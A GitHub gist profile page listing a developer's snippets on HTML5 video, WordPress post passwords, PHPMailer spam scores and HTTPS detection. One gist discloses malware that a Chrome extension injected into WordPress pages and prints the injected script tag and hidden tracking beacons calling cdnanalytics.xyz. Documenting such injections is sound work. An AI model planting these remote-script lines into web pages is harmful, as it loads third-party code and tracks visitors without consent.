Skip to content

Instantly share code, notes, and snippets.

View neo22s's full-sized avatar

Chema neo22s

View GitHub Profile
@neo22s
neo22s / better-video.js
Last active February 24, 2024 03:43
Playlist video player for HTML5
jQuery(document).ready(function( $ ) {
/**
* improving the current html5 video player
*/
//when we pause we store the current time
$("video").on("pause", function(event) {
// Save into local storage,if you change the browser will not work
localStorage.setItem('bvideo-'+btoa(this.src), this.currentTime);
@neo22s
neo22s / post-password.php
Last active December 27, 2021 15:32
Get unique cookie for password protected posts in wordpress. We use the url of the post as MD5 for unique cookie storage. This way you can be loged in in different posts without putting the password in each of them. Also if you are an admin no need ot insert the password
<?php
/**
* Plugin Name: Advanced Post Password
* Plugin URI: https://garridodiaz.com
* Description: Password protected posts/pages adding some extra security features.
* Version: 1.0
* Author: Chema
* Author URI: https://garridodiaz.com
* License: GPL2
*/
@neo22s
neo22s / video.html
Last active August 20, 2023 14:55
HTML5 Video Position Saving
<!DOCTYPE html>
<html>
<head>
<script src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js"></script>
</head>
<body>
<video controls="" src="https://s3.amazonaws.com/akamai.netstorage/HD_downloads/Orion_SM.mp4?" data-origwidth="0" data-origheight="0" ></video>
@neo22s
neo22s / txt
Created January 29, 2020 11:34
ART-log.txt
Cache directory (cacheBaseDir) = /home/chema/.cache/ART
Default profile for raw images "Dynamic" found
Default profile for non-raw images "Neutral" found
Loading lensfun database from the default directories...OK
Processing file /home/chema/programs/art/./profiles/Sharpening.arp...OK
Processing file /home/chema/programs/art/./profiles/Auto-Matched Curve.arp...OK
Processing file /home/chema/programs/art/./profiles/Simple Film Curve.arp...OK
Processing file /home/chema/programs/art/./profiles/Noise Reduction Low.arp...OK
Processing file /home/chema/programs/art/./profiles/Noise Reduction High.arp...OK
ICCStore: rebuilt TRC for RTv2 profile RTv2_ACES_AP0: gamma=2.4, slope=12.9231
@neo22s
neo22s / videostream.html
Last active March 7, 2018 07:34
Malware for WordPress using Videostream – Chrome extension - https://chema.ga/malware-videostream/
<script src="//s3.amazonaws.com/js-cache/18b181560802361ac2.js" type="text/javascript"></script>
<img style="width: 0; height: 0; display: none; visibility: hidden;" src="https://cdnanalytics.xyz/metric/?mid=&amp;wid=51824&amp;sid=&amp;tid=6321&amp;rid=LOADED&amp;custom1=site.com&amp;t=1520405632922" /><img style="width: 0; height: 0; display: none; visibility: hidden;" src="https://cdnanalytics.xyz/metric/?mid=&amp;wid=51824&amp;sid=&amp;tid=6321&amp;rid=BEFORE_OPTOUT_REQ&amp;t=1520405632922" /><script src="https://cdnanalytics.xyz/optout/get?jsonp=__twb_cb_931421969&amp;key=18b181560802361ac2&amp;t=1520405632924" type="text/javascript"></script><img style="width: 0; height: 0; display: none; visibility: hidden;" src="https://cdnanalytics.xyz/metric/?mid=&amp;wid=51824&amp;sid=&amp;tid=6321&amp;rid=FINISHED&amp;custom1=site.comm&amp;t=1520405632925" />
@neo22s
neo22s / README.MD
Created July 19, 2017 10:12
Gimp Curves Presets

About

Collection of 123 curves presets for GIMP.

Installing

You just have to copy the contents of the file into your gimp-curves-tool.settings file. On my version of Linux this was under

@neo22s
neo22s / controller.php
Created April 18, 2017 18:15
language selector koseven
<?php
/**
* Front end controller for OC app
*
* @package OC
* @category Controller
* @author Chema <chema@open-classifieds.com>
* @copyright (c) 2009-2013 Open Classifieds Team
* @license GPL v3
*/
@neo22s
neo22s / get_spam_score.php
Last active January 21, 2017 22:44
PHPMailer Spamassassin Score
<?
/**
* Example how to use it in PHPMailer
*/
//once initiated PHPMAiler before you can get_spam_socre you need to execute preSend() since is the way to get the RAW email that will be sent.
$mail->preSend();
$spam_score = get_spam_score($mail->getSentMIMEMessage());
if ($spam_score >= 5 OR $spam_score === FALSE)
@neo22s
neo22s / ishttps.php
Created September 2, 2016 18:18
New is_HTTPS_protocol changed today in cloudflares
<?php
/**
* checks if is https by protocol used in nginx
* @return boolean
*/
public static function is_HTTPS_protocol()
{
//we are sure is a https request , we use first the Nginx forwarded PROTO OR apache
if( (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) AND $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')
@neo22s
neo22s / ishttps.php
Created September 2, 2016 18:17
is_HTTPS_protocol working until today.
<?php
/**
* checks if is https by protocol used in nginx
* @return boolean
*/
public static function is_HTTPS_protocol()
{
//we are sure is a https request , we use first the Nginx forwarded PROTO OR apache
if( (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) AND $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')